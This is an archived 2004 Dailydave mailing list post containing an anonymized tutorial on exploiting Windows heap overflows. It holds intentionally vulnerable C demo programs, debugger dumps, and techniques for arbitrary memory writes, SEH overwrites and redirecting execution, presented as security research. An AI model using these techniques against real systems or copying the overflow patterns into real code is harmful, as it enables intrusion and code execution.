Dailydave mailing list archives

Anonimzed heap paper.


From: Dave Aitel <dave () immunitysec com>
Date: Sat, 31 Jan 2004 19:28:24 -0500

note on dave-anonymizer: you can also send things to me GPGed and request a random delay so it can't be easily traffic 
analyzed.
-dave




begin anonymized content

Wassup peeps...

Nice article, with a very interesting approach.

In most cases, these statements will be true..

"With a heap overflow you get something totally different –
you can write a single 32 bit value to any 32 bit address of your choosing."

"You only control TWO things as the attacker – the address you wish to
overwrite,
and the value you are going to place there"

In other cases an attacker can overwrite 2 locations with 2 different
dwords...
Dependant on where in the heap is overwritten, and the implementation of the
heap control functions in use.....

I wrote this a while back... may be of some interest to ppl...

----------------------------------------------------------------------
+ Windows Heap Overflow Exploitation
----------------------------------------------------------------------

This is not a 'complete' guide to windows heap overflows.

It includes sample code and technical details on how to exploit different
heap overwrite scenarios.

----------------------------------------------------------------------
+ Example 1 - The malloc/free Scenario
----------------------------------------------------------------------
/*
        Example 1 - malloc/free
*/

#include <stdio.h>
int main(int argc,char *argv[])
{
        char *smallbuf,*a,*b,*c;

        a = malloc(10);
        b = malloc(10);
        c = malloc(10);

        printf("a=%x\tb=%x\tc=%x\n",a,b,c);

        memset(a,0x0,10);
        printf("copy\n");
        strcpy(a,"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");

        printf("free a\n");
        free(a);

        printf("free b\n");
        free(b);
        printf("free c\n");
        free(c);

        printf("done\n");
}

----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
Heap block A is overflowed and when free(a) is called an exception
occurs in the following code segment.

004013DB   mov         ecx,dword ptr [ebx+edx+8]
004013DF   mov         edi,dword ptr [ebx+edx+4]
004013E3   mov         dword ptr [ecx+4],edi    <---- Exception
004013E6   mov         ecx,dword ptr [ebx+edx+4]
004013EA   mov         edi,dword ptr [ebx+edx+8]
004013EE   add         ebx,dword ptr [ebp-8]
004013F1   mov         dword ptr [ecx+8],edi
004013F4   mov         dword ptr [ebp-0Ch],ebx

----------------------------------------------------------------------
* Registers At Time Of Exception
----------------------------------------------------------------------
EAX = 002F0798 EBX = 00000020
ECX = 58585858 EDX = 0030066C
ESI = 00000000 EDI = 58585858
EIP = 004013E3 ESP = 0012FF20
EBP = 0012FF40 EFL = 00000246

----------------------------------------------------------------------
* EBX+EDX Dump At Time Of Exception
----------------------------------------------------------------------
0030068C  58 58 58 58 58  XXXXX
00300691  58 58 58 58 58  XXXXX
00300696  58 58 58 58 58  XXXXX
0030069B  58 58 58 58 58  XXXXX
003006A0  58 58 58 58 58  XXXXX

----------------------------------------------------------------------
* Exploitation
----------------------------------------------------------------------
We are in control of both the EDI and ECX registers which allows us to
write 4 bytes to an arbitrary address. This can be used to overwrite
function pointers, seh handlers or PEB locking pointers.

At this time we are unaware of any methods to obtain further writes or
the writing of the heap address.

----------------------------------------------------------------------
+ Example 2 - The HeapAlloc/HeapFree Scenario
----------------------------------------------------------------------
/*
        Example 2 - HeapAlloc/HeapFree
*/
#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv[])
{
        char *a,*b,*c;
        long hHeap;

        hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS,1000,9000);

        a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10);
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10);
        c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10);

        printf("a=%x\tb=%x\tc=%x\n",a,b,c);

        memset(b,0x48,2000);    //32 byte minumim

        printf("Freeing c\n");
        HeapFree(hHeap,0,c);

        printf("Freeing b\n");
        HeapFree(hHeap,0,b);

        printf("Freeing a\n");
        HeapFree(hHeap,0,a);

        HeapDestroy(hHeap);

}

----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
Heap block B is overflowed and when HeapFree(B) is called an exception
occurs in the following code segment.

77FCCA2E   mov         ecx,dword ptr [edi+0Ch]
77FCCA31   mov         eax,dword ptr [edi+8]
77FCCA34   cmp         eax,ecx
77FCCA36   mov         dword ptr [ecx],eax      <---- Exception
77FCCA38   mov         dword ptr [eax+4],ecx
77FCCA3B   je          77FCB353
77FCCA41   mov         al,byte ptr [edi+5]

----------------------------------------------------------------------
* Registers At Time Of Exception
----------------------------------------------------------------------
EAX = 48484848 EBX = 00420000
ECX = 48484848 EDX = 004206B0
ESI = 00420698 EDI = 004206B0
EIP = 77FCCA36 ESP = 0012FEA8
EBP = 0012FEB4 EFL = 00000246

----------------------------------------------------------------------
* EDI Dump At Time Of Exception
----------------------------------------------------------------------
004206B0  48 48 48 48 48  HHHHH
004206B5  48 48 48 48 48  HHHHH
004206BA  48 48 48 48 48  HHHHH
004206BF  48 48 48 48 48  HHHHH
004206C4  48 48 48 48 48  HHHHH
004206C9  48 48 48 48 48  HHHHH

----------------------------------------------------------------------
* Exploitation
----------------------------------------------------------------------
We are in control of both the EAX and ECX registers which allows us to
write 4 bytes to an arbitrary address. This can be used to overwrite
function pointers, seh handlers or PEB locking pointers.

In some circumstances, exploitation of this scenario can be taken
further allowing the writing of the heap address to a critical
location.

If we pass valid writeable addresses for both the EAX and ECX registers
an exception will not occur as shown above but will occur further down
the code at this location

77FCCA4C   movzx       ecx,word ptr [edi]
77FCCA4F   mov         eax,dword ptr [ebp+10h]
77FCCA52   add         dword ptr [eax],ecx
77FCCA54   movzx       ecx,word ptr [edi]
77FCCA57   sub         dword ptr [ebx+28h],ecx
77FCCA5A   mov         cx,word ptr [eax]
77FCCA5D   test        byte ptr [esi+5],10h
77FCCA61   mov         word ptr [esi],cx
77FCCA64   jne         77FCC9FB
77FCCA66   mov         ecx,dword ptr [eax]
77FCCA68   mov         ax,word ptr [eax]
77FCCA6B   mov         word ptr [esi+ecx*8+2],ax        <-- exception

At this time ECX will equal 0000484B, and causes the mov instruction to
address an invalid memory space.

As can be seen in the code segment above, the ECX value is obtained from
our heap structure at [EDI] and then stored in [EAX]. It is later
retrieved before been used in the mov instruction that causes the
exception.

In some cases if we construct heap strucutre setting first dword to 0101
the write will be within valid memory, allowing us to continue execution
flow. Depending on methods null bytes may be allowed.

004206B0  01 01 48 48 48  ..HHH
004206B5  48 48 48 80 F0  HHH€ð
004206BA  FD 7F 90 F0 FD  ý..ðý
004206BF  7F 48 48 48 48  .HHHH
004206C4  48 48 48 48 48  HHHHH
004206C9  48 48 48 48 48  HHHHH

After continuing past this exception coded execution reaches the following
segment.

77FCC98D   mov         dword ptr [ecx],eax
77FCC98F   mov         dword ptr [esi+0Ch],edx
77FCC992   mov         dword ptr [edx],ecx              <--!
77FCC994   mov         dword ptr [eax+4],ecx

EAX = 004206D0 EBX = 00420178
ECX = 004206A0 EDX = 48484848
ESI = 00420698 EDI = 00420000
EIP = 77FCC992 ESP = 0012FECC
EBP = 0012FF5C EFL = 00000293

As is shown, we are in control of EDX, and ECX points to the heap strucutre.

004206A0  D0 06 42 00 48  Ð.B.H
004206A5  48 48 48 48 48  HHHHH
004206AA  48 48 48 48 48  HHHHH
004206AF  48 01 01 48 48  H..HH
004206B4  48 48 48 48 80  HHHH€

The bytes at ECX have been overwritten during the heap manipulation routines
but are usually executable instructions.

004206A0   rol         byte ptr [esi],1
004206A2   inc         edx
004206A3   add         byte ptr [eax+48h],cl
004206A6   dec         eax
004206A7   dec         eax
004206A8   dec         eax

This allows us to direct execution flow to our code without the need for
a JMP REG instruction.

----------------------------------------------------------------------
* Example 3 - The HeapAlloc/HeapAlloc Scenario
----------------------------------------------------------------------
/*
        Example 3 - The HeapAlloc/HeapAlloc Scenario
        Demonstrates the 'multi-write' heap overflow.
*/

#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv[])
{

        char *a,*b,*c,*d;
        long hHeap;


        hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS,5000,9000);

        a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10);
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10);
        c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10);

        printf("a=%x\tb=%x\tc=%x\n",a,b,c);

        memset(c,0x48,2000);    //32 byte minimum

        printf("Alloc d\n");
        d = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10);
        printf("d=%x\n",d);

        printf("Freeing c\n");
        HeapFree(hHeap,0,c);


        printf("Freeing b\n");
        HeapFree(hHeap,0,b);

        printf("Freeing a\n");
        HeapFree(hHeap,0,a);

        HeapDestroy(hHeap);
}

----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
Heap block c is overflowed and when HeapAlloc is called to allocate
another block an exception occurs in the following code segment.

77FCC651   mov         eax,dword ptr [esi+8]
77FCC654   mov         dword ptr [ebp-16Ch],eax
77FCC65A   mov         ecx,dword ptr [esi+0Ch]
77FCC65D   mov         dword ptr [ebp-170h],ecx
77FCC663   mov         dword ptr [ecx],eax      <---- Exception
77FCC665   mov         dword ptr [eax+4],ecx
77FCC668   jmp         77FCC481

----------------------------------------------------------------------
* Registers At Time Of Exception
----------------------------------------------------------------------
EAX = 48484848 EBX = 00000003
ECX = 48484848 EDX = 004206C8
ESI = 004206C8 EDI = 00420000
EIP = 77FCC663 ESP = 0012FDC0
EBP = 0012FF58 EFL = 00000246

----------------------------------------------------------------------
* ESI Dump At Time Of Exception
----------------------------------------------------------------------
004206C8  48 48 48 48 48  HHHHH
004206CD  48 48 48 48 48  HHHHH
004206D2  48 48 48 48 48  HHHHH
004206D7  48 48 48 48 48  HHHHH
004206DC  48 48 48 48 48  HHHHH
004206E1  48 48 48 48 48  HHHHH
004206E6  48 48 48 48 48  HHHHH

----------------------------------------------------------------------
* Exploitation
----------------------------------------------------------------------
We are in control of both the EAX and ECX registers which allows us to
write 4 bytes to an arbitrary address. This can be used to overwrite
function pointers, seh handlers or PEB locking pointers.

In some circumstances, exploitation of this scenario can be taken
further allowing for the writing of another 4 bytes. This can be used
to direct SEH to a known location, and then with the second write we
can create a JMP REG instruction at the known location.

If we pass valid writeable addresses for both the EAX and ECX registers
an exception will not occur as shown above but will occur further down
the code at this location

77FCC497   movzx       ebx,word ptr [esi]
77FCC49A   mov         ecx,dword ptr [ebp-44h]
77FCC49D   sub         ebx,ecx
77FCC49F   mov         dword ptr [ebp-58h],ebx
77FCC4A2   mov         word ptr [esi],cx
77FCC4A5   mov         ecx,dword ptr [ebp-20h]
77FCC4A8   sub         ecx,dword ptr [ebp+10h]
77FCC4AB   mov         byte ptr [esi+6],cl
77FCC4AE   and         byte ptr [esi+7],0
77FCC4B2   test        ebx,ebx
77FCC4B4   je          77FCC578
77FCC4BA   cmp         ebx,1
77FCC4BD   je          77FCC28D
77FCC4C3   mov         ecx,dword ptr [ebp-44h]
77FCC4C6   lea         edi,[esi+ecx*8]
77FCC4C9   mov         dword ptr [ebp-34h],edi
77FCC4CC   mov         byte ptr [edi+5],al
77FCC4CF   mov         word ptr [edi+2],cx
77FCC4D3   mov         cl,byte ptr [esi+4]
77FCC4D6   mov         byte ptr [edi+4],cl
77FCC4D9   mov         word ptr [edi],bx
77FCC4DC   test        al,10h
77FCC4DE   jne         77FCC724
77FCC4E4   lea         ecx,[edi+ebx*8]
77FCC4E7   mov         dword ptr [ebp-30h],ecx
77FCC4EA   mov         al,byte ptr [ecx+5]      <-- exception

At this time ECX will equal 004448EA, and causes the mov instruction to
address an invalid memory space.

As can be seen in the code segment above, the ECX value is obtained from
our heap structure at [ESI] and then manipulated against the standard heap
block length. It then used to calculate the location of the next block to
be used before been used in the mov instruction that causes the
exception.

In some cases if we construct heap strucutre setting first dword to 0101
the write will be within valid memory, allowing us to continue execution
flow. Depending on methods null bytes may be allowed.

004206B0  01 01 48 48 48  ..HHH
004206B5  48 48 48 80 F0  HHH€ð
004206BA  FD 7F 90 F0 FD  ý..ðý
004206BF  7F 48 48 48 48  .HHHH
004206C4  48 48 48 48 48  HHHHH
004206C9  48 48 48 48 48  HHHHH

After continuing past this exception coded execution reaches the following
segment.

77FCB01D   mov         ecx,dword ptr [ebp-30h]
77FCB020   mov         eax,dword ptr [ecx+8]
77FCB023   mov         dword ptr [ebp-128h],eax
77FCB029   mov         ecx,dword ptr [ecx+0Ch]
77FCB02C   mov         dword ptr [ebp-12Ch],ecx
77FCB032   mov         dword ptr [ecx],eax              <--!
77FCB034   mov         dword ptr [eax+4],ecx

where values are read from
00420ED0  48 48 48 48 48  HHHHH
00420ED5  48 48 48 48 48  HHHHH
00420EDA  48 48 48 48 48  HHHHH
00420EDF  48 48 48 48 48  HHHHH
00420EE4  48 48 48 48 48  HHHHH
00420EE9  48 48 48 48 48  HHHHH
00420EEE  48 48 48 48 48  HHHHH

and set as
EAX = 48484848 EBX = 000000FE
ECX = 48484848 EDX = 00420ED0
ESI = 00420000 EDI = 004206E0
EIP = 77FCB032 ESP = 0012FDC0
EBP = 0012FF58 EFL = 00000246

This allows us to write a further 4 bytes to an arbitrary location.

To exploit this scenario the first write should be similar to;

ECX = SEH, EAX = Known writeable location
77FCC663   mov         dword ptr [ecx],eax
77FCC665   mov         dword ptr [eax+4],ecx

and the second write should be similar to;

ECX = known writeable location, EAX = JMP REG code
77FCB032   mov         dword ptr [ecx],eax
77FCB034   mov         dword ptr [eax+4],ecx

INC,IAC

-----Original Message-----
From: dailydave-bounces () lists immunitysec com
[mailto:dailydave-bounces () lists immunitysec com]On Behalf Of Dave Aitel
Sent: Wednesday, January 28, 2004 12:30 PM
To: dailydave () lists immunitysec com
Subject: [Dailydave] rootkit.com article


I think its cool how greg hoglund documented some part of canvas that I
never did. :>

http://www.rootkit.com/newsread.php?newsid=45




end anonymized content


_______________________________________________
Dailydave mailing list
Dailydave () lists immunitysec com
http://www.immunitysec.com/mailman/listinfo/dailydave


Current thread: